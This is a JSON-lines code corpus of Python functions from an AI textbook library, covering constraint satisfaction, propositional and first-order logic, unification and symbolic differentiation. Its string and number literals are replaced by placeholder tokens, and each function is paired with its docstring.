{"signature": "def unassign(self, var, assignment):", "body": "if var in assignment:<EOL><INDENT>self.record_conflict(assignment, var, assignment[var], -<NUM_LIT:1>)<EOL><DEDENT>CSP.unassign(self, var, assignment)<EOL>", "docstring": "Remove var from assignment (if it is there) and track conflicts.", "id": "f1681:c2:m3"}
{"signature": "def record_conflict(self, assignment, var, val, delta):", "body": "n = len(self.vars)<EOL>self.rows[val] += delta<EOL>self.downs[var + val] += delta<EOL>self.ups[var - val + n - <NUM_LIT:1>] += delta<EOL>", "docstring": "Record conflicts caused by addition or deletion of a Queen.", "id": "f1681:c2:m4"}
{"signature": "def display(self, assignment):", "body": "n = len(self.vars)<EOL>for val in range(n):<EOL><INDENT>for var in range(n):<EOL><INDENT>if assignment.get(var,'<STR_LIT>') == val: ch = '<STR_LIT>'<EOL>elif (var+val) % <NUM_LIT:2> == <NUM_LIT:0>: ch = '<STR_LIT:.>'<EOL>else: ch = '<STR_LIT:->'<EOL>print(ch, end='<STR_LIT:U+0020>')<EOL><DEDENT>print('<STR_LIT:U+0020>', end='<STR_LIT:U+0020>')<EOL>for var in range(n):<EOL><INDENT>if assignment.get(var,'<STR_LIT>') == val: ch = '<STR_LIT:*>'<EOL>else: ch = '<STR_LIT:U+0020>'<EOL>print(str(self.nconflicts(var, val, assignment))+ch, end='<STR_LIT:U+0020>')<EOL><DEDENT>print()<EOL><DEDENT>", "docstring": "Print the queens and the nconflicts values (for debugging).", "id": "f1681:c2:m5"}
{"signature": "def __init__(self, grid):", "body": "squares = iter(re.findall(r'<STR_LIT>', grid))<EOL>domains = dict((var, if_(ch in '<STR_LIT>', [ch], '<STR_LIT>'))<EOL>for var, ch in zip(flatten(self.rows), squares))<EOL>for _ in squares:<EOL><INDENT>raise ValueError(\"<STR_LIT>\", grid) <EOL><DEDENT>CSP.__init__(self, None, domains, self.neighbors,<EOL>different_values_constraint)<EOL>", "docstring": "Build a Sudoku problem from a string representing the grid:\n        the digits 1-9 denote a filled cell, '.' or '0' an empty one;\n        other characters are ignored.", "id": "f1681:c3:m0"}
{"signature": "def KB_AgentProgram(KB):", "body": "steps = itertools.count()<EOL>def program(percept):<EOL><INDENT>t = next(steps)<EOL>KB.tell(make_percept_sentence(percept, t))<EOL>action = KB.ask(make_action_query(t))<EOL>KB.tell(make_action_sentence(action, t))<EOL>return action<EOL><DEDENT>def make_percept_sentence(self, percept, t):<EOL><INDENT>return Expr(\"<STR_LIT>\")(percept, t)<EOL><DEDENT>def make_action_query(self, t):<EOL><INDENT>return expr(\"<STR_LIT>\" % t)<EOL><DEDENT>def make_action_sentence(self, action, t):<EOL><INDENT>return Expr(\"<STR_LIT>\")(action[expr('<STR_LIT:action>')], t)<EOL><DEDENT>return program<EOL>", "docstring": "A generic logical knowledge-based agent program. [Fig. 7.1]", "id": "f1683:m0"}
{"signature": "def expr(s):", "body": "if isinstance(s, Expr): return s<EOL>if isnumber(s): return Expr(s)<EOL>s = s.replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>')<EOL>s = s.replace('<STR_LIT>', '<STR_LIT:%>').replace('<STR_LIT>', '<STR_LIT>')<EOL>s = re.sub(r'<STR_LIT>', r'<STR_LIT>', s)<EOL>return eval(s, {'<STR_LIT>':Expr})<EOL>", "docstring": "Create an Expr representing a logic expression by parsing the input\n    string. Symbols and numbers are automatically converted to Exprs.\n    In addition you can use alternative spellings of these operators:\n      'x ==> y'   parses as   (x >> y)    # Implication\n      'x <== y'   parses as   (x << y)    # Reverse implication\n      'x <=> y'   parses as   (x % y)     # Logical equivalence\n      'x =/= y'   parses as   (x ^ y)     # Logical disequality (xor)\n    But BE CAREFUL; precedence of implication is wrong. expr('P & Q ==> R & S')\n    is ((P & (Q >> R)) & S); so you must use expr('(P & Q) ==> (R & S)').\n    >>> expr('P <=> Q(1)')\n    (P <=> Q(1))\n    >>> expr('P & Q | ~R(x, F(x))')\n    ((P & Q) | ~R(x, F(x)))", "id": "f1683:m1"}
{"signature": "def is_symbol(s):", "body": "return isinstance(s, str) and s[:<NUM_LIT:1>].isalpha()<EOL>", "docstring": "A string s is a symbol if it starts with an alphabetic char.", "id": "f1683:m2"}
{"signature": "def is_var_symbol(s):", "body": "return is_symbol(s) and s[<NUM_LIT:0>].islower()<EOL>", "docstring": "A logic variable symbol is an initial-lowercase string.", "id": "f1683:m3"}
{"signature": "def is_prop_symbol(s):", "body": "return is_symbol(s) and s[<NUM_LIT:0>].isupper() and s != '<STR_LIT>' and s != '<STR_LIT>'<EOL>", "docstring": "A proposition logic symbol is an initial-uppercase string other than\n    TRUE or FALSE.", "id": "f1683:m4"}
{"signature": "def variables(s):", "body": "result = set([])<EOL>def walk(s):<EOL><INDENT>if is_variable(s):<EOL><INDENT>result.add(s)<EOL><DEDENT>else:<EOL><INDENT>for arg in s.args:<EOL><INDENT>walk(arg)<EOL><DEDENT><DEDENT><DEDENT>walk(s)<EOL>return result<EOL>", "docstring": "Return a set of the variables in expression s.\n    >>> ppset(variables(F(x, A, y)))\n    set([x, y])\n    >>> ppset(variables(F(G(x), z)))\n    set([x, z])\n    >>> ppset(variables(expr('F(x, x) & G(x, y) & H(y, z) & R(A, z, z)')))\n    set([x, y, z])", "id": "f1683:m5"}
{"signature": "def is_definite_clause(s):", "body": "if is_symbol(s.op):<EOL><INDENT>return True<EOL><DEDENT>elif s.op == '<STR_LIT>':<EOL><INDENT>antecedent, consequent = s.args<EOL>return (is_symbol(consequent.op)<EOL>and every(lambda arg: is_symbol(arg.op), conjuncts(antecedent)))<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "returns True for exprs s of the form A & B & ... & C ==> D,\n    where all literals are positive.  In clause form, this is\n    ~A | ~B | ... | ~C | D, where exactly one clause is positive.\n    >>> is_definite_clause(expr('Farmer(Mac)'))\n    True\n    >>> is_definite_clause(expr('~Farmer(Mac)'))\n    False\n    >>> is_definite_clause(expr('(Farmer(f) & Rabbit(r)) ==> Hates(f, r)'))\n    True\n    >>> is_definite_clause(expr('(Farmer(f) & ~Rabbit(r)) ==> Hates(f, r)'))\n    False\n    >>> is_definite_clause(expr('(Farmer(f) | Rabbit(r)) ==> Hates(f, r)'))\n    False", "id": "f1683:m6"}
{"signature": "def parse_definite_clause(s):", "body": "assert is_definite_clause(s)<EOL>if is_symbol(s.op):<EOL><INDENT>return [], s<EOL><DEDENT>else:<EOL><INDENT>antecedent, consequent = s.args<EOL>return conjuncts(antecedent), consequent<EOL><DEDENT>", "docstring": "Return the antecedents and the consequent of a definite clause.", "id": "f1683:m7"}
{"signature": "def tt_entails(kb, alpha):", "body": "assert not variables(alpha)<EOL>return tt_check_all(kb, alpha, prop_symbols(kb & alpha), {})<EOL>", "docstring": "Does kb entail the sentence alpha? Use truth tables. For propositional\n    kb's and sentences. [Fig. 7.10]\n    >>> tt_entails(expr('P & Q'), expr('Q'))\n    True", "id": "f1683:m8"}
{"signature": "def tt_check_all(kb, alpha, symbols, model):", "body": "if not symbols:<EOL><INDENT>if pl_true(kb, model):<EOL><INDENT>result = pl_true(alpha, model)<EOL>assert result in (True, False)<EOL>return result<EOL><DEDENT>else:<EOL><INDENT>return True<EOL><DEDENT><DEDENT>else:<EOL><INDENT>P, rest = symbols[<NUM_LIT:0>], symbols[<NUM_LIT:1>:]<EOL>return (tt_check_all(kb, alpha, rest, extend(model, P, True)) and<EOL>tt_check_all(kb, alpha, rest, extend(model, P, False)))<EOL><DEDENT>", "docstring": "Auxiliary routine to implement tt_entails.", "id": "f1683:m9"}
{"signature": "def prop_symbols(x):", "body": "if not isinstance(x, Expr):<EOL><INDENT>return []<EOL><DEDENT>elif is_prop_symbol(x.op):<EOL><INDENT>return [x]<EOL><DEDENT>else:<EOL><INDENT>return list(set(symbol for arg in x.args<EOL>for symbol in prop_symbols(arg)))<EOL><DEDENT>", "docstring": "Return a list of all propositional symbols in x.", "id": "f1683:m10"}
{"signature": "def tt_true(alpha):", "body": "return tt_entails(TRUE, expr(alpha))<EOL>", "docstring": "Is the propositional sentence alpha a tautology? (alpha will be\n    coerced to an expr.)\n    >>> tt_true(expr(\"(P >> Q) <=> (~P | Q)\"))\n    True", "id": "f1683:m11"}
{"signature": "def pl_true(exp, model={}):", "body": "op, args = exp.op, exp.args<EOL>if exp == TRUE:<EOL><INDENT>return True<EOL><DEDENT>elif exp == FALSE:<EOL><INDENT>return False<EOL><DEDENT>elif is_prop_symbol(op):<EOL><INDENT>return model.get(exp)<EOL><DEDENT>elif op == '<STR_LIT>':<EOL><INDENT>p = pl_true(args[<NUM_LIT:0>], model)<EOL>if p is None: return None<EOL>else: return not p<EOL><DEDENT>elif op == '<STR_LIT:|>':<EOL><INDENT>result = False<EOL>for arg in args:<EOL><INDENT>p = pl_true(arg, model)<EOL>if p is True: return True<EOL>if p is None: result = None<EOL><DEDENT>return result<EOL><DEDENT>elif op == '<STR_LIT:&>':<EOL><INDENT>result = True<EOL>for arg in args:<EOL><INDENT>p = pl_true(arg, model)<EOL>if p is False: return False<EOL>if p is None: result = None<EOL><DEDENT>return result<EOL><DEDENT>p, q = args<EOL>if op == '<STR_LIT>':<EOL><INDENT>return pl_true(~p | q, model)<EOL><DEDENT>elif op == '<STR_LIT>':<EOL><INDENT>return pl_true(p | ~q, model)<EOL><DEDENT>pt = pl_true(p, model)<EOL>if pt is None: return None<EOL>qt = pl_true(q, model)<EOL>if qt is None: return None<EOL>if op == '<STR_LIT>':<EOL><INDENT>return pt == qt<EOL><DEDENT>elif op == '<STR_LIT>':<EOL><INDENT>return pt != qt<EOL><DEDENT>else:<EOL><INDENT>raise ValueError(\"<STR_LIT>\" + str(exp))<EOL><DEDENT>", "docstring": "Return True if the propositional logic expression is true in the model,\n    and False if it is false. If the model does not specify the value for\n    every proposition, this may return None to indicate 'not obvious';\n    this may happen even when the expression is tautological.", "id": "f1683:m12"}
{"signature": "def to_cnf(s):", "body": "if isinstance(s, str): s = expr(s)<EOL>s = eliminate_implications(s) <EOL>s = move_not_inwards(s) <EOL>return distribute_and_over_or(s)<EOL>", "docstring": "Convert a propositional logical sentence s to conjunctive normal form.\n    That is, to the form ((A | ~B | ...) & (B | C | ...) & ...) [p. 253]\n    >>> to_cnf(\"~(B|C)\")\n    (~B & ~C)\n    >>> to_cnf(\"B <=> (P1|P2)\")\n    ((~P1 | B) & (~P2 | B) & (P1 | P2 | ~B))\n    >>> to_cnf(\"a | (b & c) | d\")\n    ((b | a | d) & (c | a | d))\n    >>> to_cnf(\"A & (B | (D & E))\")\n    (A & (D | B) & (E | B))\n    >>> to_cnf(\"A | (B | (C | (D & E)))\")\n    ((D | A | B | C) & (E | A | B | C))", "id": "f1683:m13"}
{"signature": "def eliminate_implications(s):", "body": "if not s.args or is_symbol(s.op): return s     <EOL>args = list(map(eliminate_implications, s.args))<EOL>a, b = args[<NUM_LIT:0>], args[-<NUM_LIT:1>]<EOL>if s.op == '<STR_LIT>':<EOL><INDENT>return (b | ~a)<EOL><DEDENT>elif s.op == '<STR_LIT>':<EOL><INDENT>return (a | ~b)<EOL><DEDENT>elif s.op == '<STR_LIT>':<EOL><INDENT>return (a | ~b) & (b | ~a)<EOL><DEDENT>elif s.op == '<STR_LIT>':<EOL><INDENT>assert len(args) == <NUM_LIT:2>   <EOL>return (a & ~b) | (~a & b)<EOL><DEDENT>else:<EOL><INDENT>assert s.op in ('<STR_LIT:&>', '<STR_LIT:|>', '<STR_LIT>')<EOL>return Expr(s.op, *args)<EOL><DEDENT>", "docstring": "Change >>, <<, and <=> into &, |, and ~. That is, return an Expr\n    that is equivalent to s, but has only &, |, and ~ as logical operators.\n    >>> eliminate_implications(A >> (~B << C))\n    ((~B | ~C) | ~A)\n    >>> eliminate_implications(A ^ B)\n    ((A & ~B) | (~A & B))", "id": "f1683:m14"}
{"signature": "def move_not_inwards(s):", "body": "if s.op == '<STR_LIT>':<EOL><INDENT>NOT = lambda b: move_not_inwards(~b)<EOL>a = s.args[<NUM_LIT:0>]<EOL>if a.op == '<STR_LIT>': return move_not_inwards(a.args[<NUM_LIT:0>]) <EOL>if a.op =='<STR_LIT:&>': return associate('<STR_LIT:|>', list(map(NOT, a.args)))<EOL>if a.op =='<STR_LIT:|>': return associate('<STR_LIT:&>', list(map(NOT, a.args)))<EOL>return s<EOL><DEDENT>elif is_symbol(s.op) or not s.args:<EOL><INDENT>return s<EOL><DEDENT>else:<EOL><INDENT>return Expr(s.op, *list(map(move_not_inwards, s.args)))<EOL><DEDENT>", "docstring": "Rewrite sentence s by moving negation sign inward.\n    >>> move_not_inwards(~(A | B))\n    (~A & ~B)\n    >>> move_not_inwards(~(A & B))\n    (~A | ~B)\n    >>> move_not_inwards(~(~(A | ~B) | ~~C))\n    ((A | ~B) & ~C)", "id": "f1683:m15"}
{"signature": "def distribute_and_over_or(s):", "body": "if s.op == '<STR_LIT:|>':<EOL><INDENT>s = associate('<STR_LIT:|>', s.args)<EOL>if s.op != '<STR_LIT:|>':<EOL><INDENT>return distribute_and_over_or(s)<EOL><DEDENT>if len(s.args) == <NUM_LIT:0>:<EOL><INDENT>return FALSE<EOL><DEDENT>if len(s.args) == <NUM_LIT:1>:<EOL><INDENT>return distribute_and_over_or(s.args[<NUM_LIT:0>])<EOL><DEDENT>conj = find_if((lambda d: d.op == '<STR_LIT:&>'), s.args)<EOL>if not conj:<EOL><INDENT>return s<EOL><DEDENT>others = [a for a in s.args if a is not conj]<EOL>rest = associate('<STR_LIT:|>', others)<EOL>return associate('<STR_LIT:&>', [distribute_and_over_or(c|rest)<EOL>for c in conj.args])<EOL><DEDENT>elif s.op == '<STR_LIT:&>':<EOL><INDENT>return associate('<STR_LIT:&>', list(map(distribute_and_over_or, s.args)))<EOL><DEDENT>else:<EOL><INDENT>return s<EOL><DEDENT>", "docstring": "Given a sentence s consisting of conjunctions and disjunctions\n    of literals, return an equivalent sentence in CNF.\n    >>> distribute_and_over_or((A & B) | C)\n    ((A | C) & (B | C))", "id": "f1683:m16"}
{"signature": "def associate(op, args):", "body": "args = dissociate(op, args)<EOL>if len(args) == <NUM_LIT:0>:<EOL><INDENT>return _op_identity[op]<EOL><DEDENT>elif len(args) == <NUM_LIT:1>:<EOL><INDENT>return args[<NUM_LIT:0>]<EOL><DEDENT>else:<EOL><INDENT>return Expr(op, *args)<EOL><DEDENT>", "docstring": "Given an associative op, return an expression with the same\n    meaning as Expr(op, *args), but flattened -- that is, with nested\n    instances of the same op promoted to the top level.\n    >>> associate('&', [(A&B),(B|C),(B&C)])\n    (A & B & (B | C) & B & C)\n    >>> associate('|', [A|(B|(C|(A&B)))])\n    (A | B | C | (A & B))", "id": "f1683:m17"}
{"signature": "def dissociate(op, args):", "body": "result = []<EOL>def collect(subargs):<EOL><INDENT>for arg in subargs:<EOL><INDENT>if arg.op == op: collect(arg.args)<EOL>else: result.append(arg)<EOL><DEDENT><DEDENT>collect(args)<EOL>return result<EOL>", "docstring": "Given an associative op, return a flattened list result such\n    that Expr(op, *result) means the same as Expr(op, *args).", "id": "f1683:m18"}
{"signature": "def conjuncts(s):", "body": "return dissociate('<STR_LIT:&>', [s])<EOL>", "docstring": "Return a list of the conjuncts in the sentence s.\n    >>> conjuncts(A & B)\n    [A, B]\n    >>> conjuncts(A | B)\n    [(A | B)]", "id": "f1683:m19"}
{"signature": "def disjuncts(s):", "body": "return dissociate('<STR_LIT:|>', [s])<EOL>", "docstring": "Return a list of the disjuncts in the sentence s.\n    >>> disjuncts(A | B)\n    [A, B]\n    >>> disjuncts(A & B)\n    [(A & B)]", "id": "f1683:m20"}
{"signature": "def pl_resolution(KB, alpha):", "body": "clauses = KB.clauses + conjuncts(to_cnf(~alpha))<EOL>new = set()<EOL>while True:<EOL><INDENT>n = len(clauses)<EOL>pairs = [(clauses[i], clauses[j])<EOL>for i in range(n) for j in range(i+<NUM_LIT:1>, n)]<EOL>for (ci, cj) in pairs:<EOL><INDENT>resolvents = pl_resolve(ci, cj)<EOL>if FALSE in resolvents: return True<EOL>new = new.union(set(resolvents))<EOL><DEDENT>if new.issubset(set(clauses)): return False<EOL>for c in new:<EOL><INDENT>if c not in clauses: clauses.append(c)<EOL><DEDENT><DEDENT>", "docstring": "Propositional-logic resolution: say if alpha follows from KB. [Fig. 7.12]", "id": "f1683:m21"}
{"signature": "def pl_resolve(ci, cj):", "body": "clauses = []<EOL>for di in disjuncts(ci):<EOL><INDENT>for dj in disjuncts(cj):<EOL><INDENT>if di == ~dj or ~di == dj:<EOL><INDENT>dnew = unique(removeall(di, disjuncts(ci)) +<EOL>removeall(dj, disjuncts(cj)))<EOL>clauses.append(associate('<STR_LIT:|>', dnew))<EOL><DEDENT><DEDENT><DEDENT>return clauses<EOL>", "docstring": "Return all clauses that can be obtained by resolving clauses ci and cj.\n    >>> for res in pl_resolve(to_cnf(A|B|C), to_cnf(~B|~C|F)):\n    ...    ppset(disjuncts(res))\n    set([A, C, F, ~C])\n    set([A, B, F, ~B])", "id": "f1683:m22"}
{"signature": "def pl_fc_entails(KB, q):", "body": "count = dict([(c, len(conjuncts(c.args[<NUM_LIT:0>]))) for c in KB.clauses<EOL>if c.op == '<STR_LIT>'])<EOL>inferred = DefaultDict(False)<EOL>agenda = [s for s in KB.clauses if is_prop_symbol(s.op)]<EOL>while agenda:<EOL><INDENT>p = agenda.pop()<EOL>if p == q: return True<EOL>if not inferred[p]:<EOL><INDENT>inferred[p] = True<EOL>for c in KB.clauses_with_premise(p):<EOL><INDENT>count[c] -= <NUM_LIT:1><EOL>if count[c] == <NUM_LIT:0>:<EOL><INDENT>agenda.append(c.args[<NUM_LIT:1>])<EOL><DEDENT><DEDENT><DEDENT><DEDENT>return False<EOL>", "docstring": "Use forward chaining to see if a PropDefiniteKB entails symbol q.\n    [Fig. 7.15]\n    >>> pl_fc_entails(Fig[7,15], expr('Q'))\n    True", "id": "f1683:m23"}
{"signature": "def dpll_satisfiable(s):", "body": "clauses = conjuncts(to_cnf(s))<EOL>symbols = prop_symbols(s)<EOL>return dpll(clauses, symbols, {})<EOL>", "docstring": "Check satisfiability of a propositional sentence.\n    This differs from the book code in two ways: (1) it returns a model\n    rather than True when it succeeds; this is more useful. (2) The\n    function find_pure_symbol is passed a list of unknown clauses, rather\n    than a list of all clauses and the model; this is more efficient.\n    >>> ppsubst(dpll_satisfiable(A&~B))\n    {A: True, B: False}\n    >>> dpll_satisfiable(P&~P)\n    False", "id": "f1683:m24"}
{"signature": "def dpll(clauses, symbols, model):", "body": "unknown_clauses = [] <EOL>for c in clauses:<EOL><INDENT>val =  pl_true(c, model)<EOL>if val == False:<EOL><INDENT>return False<EOL><DEDENT>if val != True:<EOL><INDENT>unknown_clauses.append(c)<EOL><DEDENT><DEDENT>if not unknown_clauses:<EOL><INDENT>return model<EOL><DEDENT>P, value = find_pure_symbol(symbols, unknown_clauses)<EOL>if P:<EOL><INDENT>return dpll(clauses, removeall(P, symbols), extend(model, P, value))<EOL><DEDENT>P, value = find_unit_clause(clauses, model)<EOL>if P:<EOL><INDENT>return dpll(clauses, removeall(P, symbols), extend(model, P, value))<EOL><DEDENT>P, symbols = symbols[<NUM_LIT:0>], symbols[<NUM_LIT:1>:]<EOL>return (dpll(clauses, symbols, extend(model, P, True)) or<EOL>dpll(clauses, symbols, extend(model, P, False)))<EOL>", "docstring": "See if the clauses are true in a partial model.", "id": "f1683:m25"}
{"signature": "def find_pure_symbol(symbols, clauses):", "body": "for s in symbols:<EOL><INDENT>found_pos, found_neg = False, False<EOL>for c in clauses:<EOL><INDENT>if not found_pos and s in disjuncts(c): found_pos = True<EOL>if not found_neg and ~s in disjuncts(c): found_neg = True<EOL><DEDENT>if found_pos != found_neg: return s, found_pos<EOL><DEDENT>return None, None<EOL>", "docstring": "Find a symbol and its value if it appears only as a positive literal\n    (or only as a negative) in clauses.\n    >>> find_pure_symbol([A, B, C], [A|~B,~B|~C,C|A])\n    (A, True)", "id": "f1683:m26"}
{"signature": "def find_unit_clause(clauses, model):", "body": "for clause in clauses:<EOL><INDENT>P, value = unit_clause_assign(clause, model)<EOL>if P: return P, value<EOL><DEDENT>return None, None<EOL>", "docstring": "Find a forced assignment if possible from a clause with only 1\n    variable not bound in the model.\n    >>> find_unit_clause([A|B|C, B|~C, ~A|~B], {A:True})\n    (B, False)", "id": "f1683:m27"}
{"signature": "def unit_clause_assign(clause, model):", "body": "P, value = None, None<EOL>for literal in disjuncts(clause):<EOL><INDENT>sym, positive = inspect_literal(literal)<EOL>if sym in model:<EOL><INDENT>if model[sym] == positive:<EOL><INDENT>return None, None  <EOL><DEDENT><DEDENT>elif P:<EOL><INDENT>return None, None      <EOL><DEDENT>else:<EOL><INDENT>P, value = sym, positive<EOL><DEDENT><DEDENT>return P, value<EOL>", "docstring": "Return a single variable/value pair that makes clause true in\n    the model, if possible.\n    >>> unit_clause_assign(A|B|C, {A:True})\n    (None, None)\n    >>> unit_clause_assign(B|~C, {A:True})\n    (None, None)\n    >>> unit_clause_assign(~A|~B, {A:True})\n    (B, False)", "id": "f1683:m28"}
{"signature": "def inspect_literal(literal):", "body": "if literal.op == '<STR_LIT>':<EOL><INDENT>return literal.args[<NUM_LIT:0>], False<EOL><DEDENT>else:<EOL><INDENT>return literal, True<EOL><DEDENT>", "docstring": "The symbol in this literal, and the value it should take to\n    make the literal true.\n    >>> inspect_literal(P)\n    (P, True)\n    >>> inspect_literal(~P)\n    (P, False)", "id": "f1683:m29"}
{"signature": "def SAT_plan(init, transition, goal, t_max, SAT_solver=dpll_satisfiable):", "body": "for t in range(t_max):<EOL><INDENT>cnf = translate_to_SAT(init, transition, goal, t)<EOL>model = SAT_solver(cnf)<EOL>if model is not False:<EOL><INDENT>return extract_solution(model)<EOL><DEDENT><DEDENT>return None<EOL>", "docstring": "[Fig. 7.22]", "id": "f1683:m32"}
{"signature": "def unify(x, y, s):", "body": "if s is None:<EOL><INDENT>return None<EOL><DEDENT>elif x == y:<EOL><INDENT>return s<EOL><DEDENT>elif is_variable(x):<EOL><INDENT>return unify_var(x, y, s)<EOL><DEDENT>elif is_variable(y):<EOL><INDENT>return unify_var(y, x, s)<EOL><DEDENT>elif isinstance(x, Expr) and isinstance(y, Expr):<EOL><INDENT>return unify(x.args, y.args, unify(x.op, y.op, s))<EOL><DEDENT>elif isinstance(x, str) or isinstance(y, str):<EOL><INDENT>return None<EOL><DEDENT>elif issequence(x) and issequence(y) and len(x) == len(y):<EOL><INDENT>if not x: return s<EOL>return unify(x[<NUM_LIT:1>:], y[<NUM_LIT:1>:], unify(x[<NUM_LIT:0>], y[<NUM_LIT:0>], s))<EOL><DEDENT>else:<EOL><INDENT>return None<EOL><DEDENT>", "docstring": "Unify expressions x,y with substitution s; return a substitution that\n    would make x,y equal, or None if x,y can not unify. x and y can be\n    variables (e.g. Expr('x')), constants, lists, or Exprs. [Fig. 9.1]\n    >>> ppsubst(unify(x + y, y + C, {}))\n    {x: y, y: C}", "id": "f1683:m35"}
{"signature": "def is_variable(x):", "body": "return isinstance(x, Expr) and not x.args and is_var_symbol(x.op)<EOL>", "docstring": "A variable is an Expr with no args and a lowercase symbol as the op.", "id": "f1683:m36"}
{"signature": "def occur_check(var, x, s):", "body": "if var == x:<EOL><INDENT>return True<EOL><DEDENT>elif is_variable(x) and x in s:<EOL><INDENT>return occur_check(var, s[x], s)<EOL><DEDENT>elif isinstance(x, Expr):<EOL><INDENT>return (occur_check(var, x.op, s) or<EOL>occur_check(var, x.args, s))<EOL><DEDENT>elif isinstance(x, (list, tuple)):<EOL><INDENT>return some(lambda element: occur_check(var, element, s), x)<EOL><DEDENT>else:<EOL><INDENT>return False<EOL><DEDENT>", "docstring": "Return true if variable var occurs anywhere in x\n    (or in subst(s, x), if s has a binding for x).", "id": "f1683:m38"}
{"signature": "def extend(s, var, val):", "body": "s2 = s.copy()<EOL>s2[var] = val<EOL>return s2<EOL>", "docstring": "Copy the substitution s and extend it by setting var to val;\n    return copy.\n    >>> ppsubst(extend({x: 1}, y, 2))\n    {x: 1, y: 2}", "id": "f1683:m39"}
{"signature": "def subst(s, x):", "body": "if isinstance(x, list):<EOL><INDENT>return [subst(s, xi) for xi in x]<EOL><DEDENT>elif isinstance(x, tuple):<EOL><INDENT>return tuple([subst(s, xi) for xi in x])<EOL><DEDENT>elif not isinstance(x, Expr):<EOL><INDENT>return x<EOL><DEDENT>elif is_var_symbol(x.op):<EOL><INDENT>return s.get(x, x)<EOL><DEDENT>else:<EOL><INDENT>return Expr(x.op, *[subst(s, arg) for arg in x.args])<EOL><DEDENT>", "docstring": "Substitute the substitution s into the expression x.\n    >>> subst({x: 42, y:0}, F(x) + y)\n    (F(42) + 0)", "id": "f1683:m40"}
{"signature": "def fol_fc_ask(KB, alpha):", "body": "while True:<EOL><INDENT>new = {}<EOL>for r in KB.clauses:<EOL><INDENT>ps, q = parse_definite_clause(standardize_variables(r))<EOL>raise NotImplementedError<EOL><DEDENT><DEDENT>", "docstring": "Inefficient forward chaining for first-order logic. [Fig. 9.3]\n    KB is a FolKB and alpha must be an atomic sentence.", "id": "f1683:m41"}
{"signature": "def standardize_variables(sentence, dic=None):", "body": "if dic is None: dic = {}<EOL>if not isinstance(sentence, Expr):<EOL><INDENT>return sentence<EOL><DEDENT>elif is_var_symbol(sentence.op):<EOL><INDENT>if sentence in dic:<EOL><INDENT>return dic[sentence]<EOL><DEDENT>else:<EOL><INDENT>v = Expr('<STR_LIT>' % next(standardize_variables.counter))<EOL>dic[sentence] = v<EOL>return v<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return Expr(sentence.op,<EOL>*[standardize_variables(a, dic) for a in sentence.args])<EOL><DEDENT>", "docstring": "Replace all the variables in sentence with new variables.\n    >>> e = expr('F(a, b, c) & G(c, A, 23)')\n    >>> len(variables(standardize_variables(e)))\n    3\n    >>> variables(e).intersection(variables(standardize_variables(e)))\n    set([])\n    >>> is_variable(standardize_variables(expr('x')))\n    True", "id": "f1683:m42"}
{"signature": "def fol_bc_ask(KB, query):", "body": "return fol_bc_or(KB, query, {})<EOL>", "docstring": "A simple backward-chaining algorithm for first-order logic. [Fig. 9.6]\n    KB should be an instance of FolKB, and goals a list of literals.\n    >>> test_ask('Farmer(x)')\n    ['{x: Mac}']\n    >>> test_ask('Human(x)')\n    ['{x: Mac}', '{x: MrsMac}']\n    >>> test_ask('Hates(x, y)')\n    ['{x: Mac, y: MrsRabbit}', '{x: Mac, y: Pete}']\n    >>> test_ask('Loves(x, y)')\n    ['{x: MrsMac, y: Mac}', '{x: MrsRabbit, y: Pete}']\n    >>> test_ask('Rabbit(x)')\n    ['{x: MrsRabbit}', '{x: Pete}']\n    >>> test_ask('Criminal(x)', crime_kb)\n    ['{x: West}']", "id": "f1683:m44"}
{"signature": "def diff(y, x):", "body": "if y == x: return ONE<EOL>elif not y.args: return ZERO<EOL>else:<EOL><INDENT>u, op, v = y.args[<NUM_LIT:0>], y.op, y.args[-<NUM_LIT:1>]<EOL>if op == '<STR_LIT:+>': return diff(u, x) + diff(v, x)<EOL>elif op == '<STR_LIT:->' and len(args) == <NUM_LIT:1>: return -diff(u, x)<EOL>elif op == '<STR_LIT:->': return diff(u, x) - diff(v, x)<EOL>elif op == '<STR_LIT:*>': return u * diff(v, x) + v * diff(u, x)<EOL>elif op == '<STR_LIT:/>': return (v*diff(u, x) - u*diff(v, x)) / (v * v)<EOL>elif op == '<STR_LIT>' and isnumber(x.op):<EOL><INDENT>return (v * u ** (v - <NUM_LIT:1>) * diff(u, x))<EOL><DEDENT>elif op == '<STR_LIT>': return (v * u ** (v - <NUM_LIT:1>) * diff(u, x)<EOL>+ u ** v * Expr('<STR_LIT>')(u) * diff(v, x))<EOL>elif op == '<STR_LIT>': return diff(u, x) / u<EOL>else: raise ValueError(\"<STR_LIT>\" % (op, y, x))<EOL><DEDENT>", "docstring": "Return the symbolic derivative, dy/dx, as an Expr.\n    However, you probably want to simplify the results with simp.\n    >>> diff(x * x, x)\n    ((x * 1) + (x * 1))\n    >>> simp(diff(x * x, x))\n    (2 * x)", "id": "f1683:m47"}
{"signature": "def d(y, x):", "body": "return simp(diff(y, x))<EOL>", "docstring": "Differentiate and then simplify.", "id": "f1683:m49"}
{"signature": "def pretty_dict(d):", "body": "return '<STR_LIT>' % '<STR_LIT:U+002CU+0020>'.join('<STR_LIT>' % (k, v)<EOL>for k, v in sorted(list(d.items()), key=repr))<EOL>", "docstring": "Return dictionary d's repr but with the items sorted.\n    >>> pretty_dict({'m': 'M', 'a': 'A', 'r': 'R', 'k': 'K'})\n    \"{'a': 'A', 'k': 'K', 'm': 'M', 'r': 'R'}\"\n    >>> pretty_dict({z: C, y: B, x: A})\n    '{x: A, y: B, z: C}'", "id": "f1683:m51"}
{"signature": "def pretty_set(s):", "body": "return '<STR_LIT>' % sorted(s, key=repr)<EOL>", "docstring": "Return set s's repr but with the items sorted.\n    >>> pretty_set(set(['A', 'Q', 'F', 'K', 'Y', 'B']))\n    \"set(['A', 'B', 'F', 'K', 'Q', 'Y'])\"\n    >>> pretty_set(set([z, y, x]))\n    'set([x, y, z])'", "id": "f1683:m52"}
{"signature": "def ppsubst(s):", "body": "ppdict(s)<EOL>", "docstring": "Pretty-print substitution s", "id": "f1683:m54"}
{"signature": "def tell(self, sentence):", "body": "abstract<EOL>", "docstring": "Add the sentence to the KB.", "id": "f1683:c0:m1"}
{"signature": "def ask(self, query):", "body": "for result in self.ask_generator(query):<EOL><INDENT>return result<EOL><DEDENT>return False<EOL>", "docstring": "Return a substitution that makes the query true, or,\n        failing that, return False.", "id": "f1683:c0:m2"}
{"signature": "def ask_generator(self, query):", "body": "abstract<EOL>", "docstring": "Yield all the substitutions that make query true.", "id": "f1683:c0:m3"}
